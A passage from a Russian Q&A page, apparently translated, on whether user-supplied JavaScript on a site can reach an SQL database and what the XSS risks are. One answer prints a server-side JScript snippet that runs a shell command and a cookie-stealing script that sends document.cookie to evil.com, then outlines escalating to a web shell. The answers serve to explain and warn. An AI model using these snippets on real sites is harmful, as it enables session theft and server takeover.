Может ли конечный пользователь связаться с базой данных SQL, если он может написать свой собственный Javascript?

Question

У меня есть веб-сайт, на котором я позволяю пользователю редактировать веб-интерфейс.Пользователь имеет доступ только к редактору, а не к серверу, на котором он размещен.

Пользователь попросил меня также разрешить JavaScript.Это означает, что пользователь может создавать свои собственные сценарии на веб-интерфейсе.

Что меня беспокоило, так это то, что пользователь мог использовать это для совершения вредоносных действий.Я боюсь, что, если пользователь знает вещи достаточно хорошо, он может испортить сайт.

Мои вопросы: - Допустим, у пользователя есть строка подключения к базе данных SQL, может ли он выполнять запросы на этом сервере?Обычно это должно быть НЕТ, поскольку javascript на стороне клиента не так ли?

Я нашел следующий фрагмент:

var connection = new ActiveXObject("ADODB.Connection") ;

var connectionstring="Data Source=<server>;Initial Catalog=<catalog>;User ID=<user>;Password=<password>;Provider=SQLOLEDB";

connection.Open(connectionstring);
var rs = new ActiveXObject("ADODB.Recordset");

rs.Open("SELECT * FROM table", connection);
rs.MoveFirst
while(!rs.eof)
{
   document.write(rs.fields(1));
   rs.movenext;
}

rs.close;
connection.close; 

Допустим, моя строка подключения выглядит как

Data Source=(local);Initial Catalog=TestDB;Application Name=TestDB;Integrated Security=True

Я попытался запустить скрипт, но, к счастью, он показалпустая страница.но так ли это, что я, возможно, что-то делаю не так?или это действительно потому, что JavaScript на стороне клиента и не позволяет делать такие вещи?

Другой вопрос: - какие примеры других рисков я допустил, позволяя ему использовать javascript на переднем крае?если это правда, что javascript является полностью клиентским языком, это означает, что он не мог делать ничего более рискованного, верно?

Answer 1

JavaScript в браузере строго на стороне клиента.Независимо от того, что вы разрешаете или не разрешаете пользователю делать в JavaScript, единственным возможным плохим результатом является то, что они предоставляют данные, которые вы не ожидали.

Если эти данные приводят к каким-либо действиям, которые вы не выполняетене нужно, вам нужно исправить свой код, чтобы иметь возможность обрабатывать его (как правило, отклонять его), поскольку любой человек в мире может делать то же самое с использованием или без использования JavaScript, а также с вашего разрешения или без него.

Конечным результатом любого вида сценариев на стороне пользователя будет HTTP-запрос.Вам нужно уметь обрабатывать все, что приходит , независимо от того, дали ли вы разрешение пользователю на это, поскольку хакеры и боты по всему миру это сделают.

Этона самом деле довольно большая тема с несколькими действительно важными правилами, которые позаботятся о большинстве проблем.Например, если вы используете хранимые процедуры для всего доступа к своим данным и не предоставляете веб-пользователю ничего, кроме разрешения EXECUTE для хранимых процедур, которые ему нужно запустить, вы просто исключили целые классы очень распространенных атак.

Вы можете Google "SQL-инъекция" для хорошего начала.

edit

Размещенный вами фрагмент разрешит доступ к базе данных, но только к базе данных, которая доступнас компьютера пользователя.

Производственные подключения к базе данных редко доступны напрямую из Интернета, поэтому, если пользователь находится в другом месте в Интернете и запустил введенный вами код, он все равно не сможет повлиять на вашу базу данных.

Теперьесли вы говорите о том, чтобы позволить пользователю выполнять этот код в браузере, который выполняется в сеансе рабочего стола на той же машине или в сети, что и база данных, то может быть в состоянии сделать плохие вещи, в зависимости отуровень изоляции, обеспечиваемый браузером.

Answer 2

JavaScript работает на стороне клиента и не может повлиять на безопасность вашего сервера напрямую .Тем не менее, это может представлять угрозу для посетителей вашего сайта, пользователей и администраторов.Атаки JavaScript известны как XSS-атаки и могут иметь различные последствия:

Разнообразие атак на основе XSS практически безгранично, но они обычно включают передачу личных данных, таких как файлы cookie илидругая информация о сеансе для злоумышленника, перенаправление жертвы на веб-контент, контролируемый злоумышленником, или выполнение других вредоносных операций на компьютере пользователя под видом уязвимого сайта.

Код в вашем вопросе, кажется, использует ActiveXObject для создания соединения с базой данных.Если у злоумышленника есть учетные данные базы данных (строка подключения) и порт сервера SQL открыт, то да, он может получить доступ к базе данных, но на этом этапе он может использовать любой клиент SQL.

Однако возможно запустить JScript (версия JavaScript от Microsoft) на серверах IIS.Если код помещен в тег сценария с атрибутом runat="server" на странице .asp, он будет выполнен на сервере и может достичь базы данных.Например, этот код:

<code><html>
<script language="javascript" runat="server">
    function exploit() {
        var shell = new ActiveXObject("WScript.shell");
        var cmd = shell.Exec("ipconfig");
        Response.Write("<pre>" + cmd.StdOut.ReadAll() + "

");} <% exploit ()%>

будет отображать IP-конфигурацию сервера, если она была выполнена наСтраницы .asp или .aspx. Но если злоумышленник может редактировать страницы .asp / .aspx, то уже слишком поздно.

Предполагается, что они не могут редактировать активные страницы сервера и не имеют учетных данных.или доступ к серверу SQL, они не должны иметь доступ к вашей базе данных напрямую с помощью JavaScript, однако они могут использовать атаки XSS для повышения своих привилегий.

---

Возможный сценарий атаки:

Злоумышленник пишет скрипт, который собирает файлы cookie пользователей и отправляет их на свой сервер.

var cookies = document.cookie;
var addr = 'http://evil.com/log.php?cookies=' + escape(cookies);
document.write('<img src="' + addr + '" />');

С помощью этого простого кода злоумышленник может регистрировать файлы cookie любого пользователя, который посещает страницу, на которой размещено это вредоносное ПО.сценария и используйте их для входа в свою учетную запись или выполнения других действий с использованием своих привилегий.

Если администратор заходит на эту страницу, злоумышленник может использовать свои файлы cookie для доступа кон управляет панелью как администратор.Многие CMS (включая WordPress и Joomla) позволяют администраторам писать или изменять код PHP на сервере, поэтому злоумышленник может загрузить веб-оболочку.Они могут даже автоматизировать весь процесс, отправляя запросы XHR из браузера администратора.

Если им удается загрузить веб-оболочку, они могут выполнять команды и код, читать / записывать файлы и получать доступ к серверам SQL.Так что теперь они могут получить доступ к базе данных, используя те же учетные данные и IP, что и ваша учетная запись пользователя.Конечно, могут существовать механизмы (AV, ограничения и т. Д.), Которые могут это предотвратить, но решительный злоумышленник может найти способы обойти их.

---

В заключение, вы никогда не должны запускать ненадежный код.Разрешение ненадежного кода JavaScript на вашем сайте может иметь очень плохие последствия.Даже если злоумышленник не сможет получить доступ к вашей базе данных или нанести вред вашему сайту, он все равно может нанести вред вашим посетителям.Вы можете посетить beef , чтобы увидеть, насколько опасными могут быть XSS-атаки.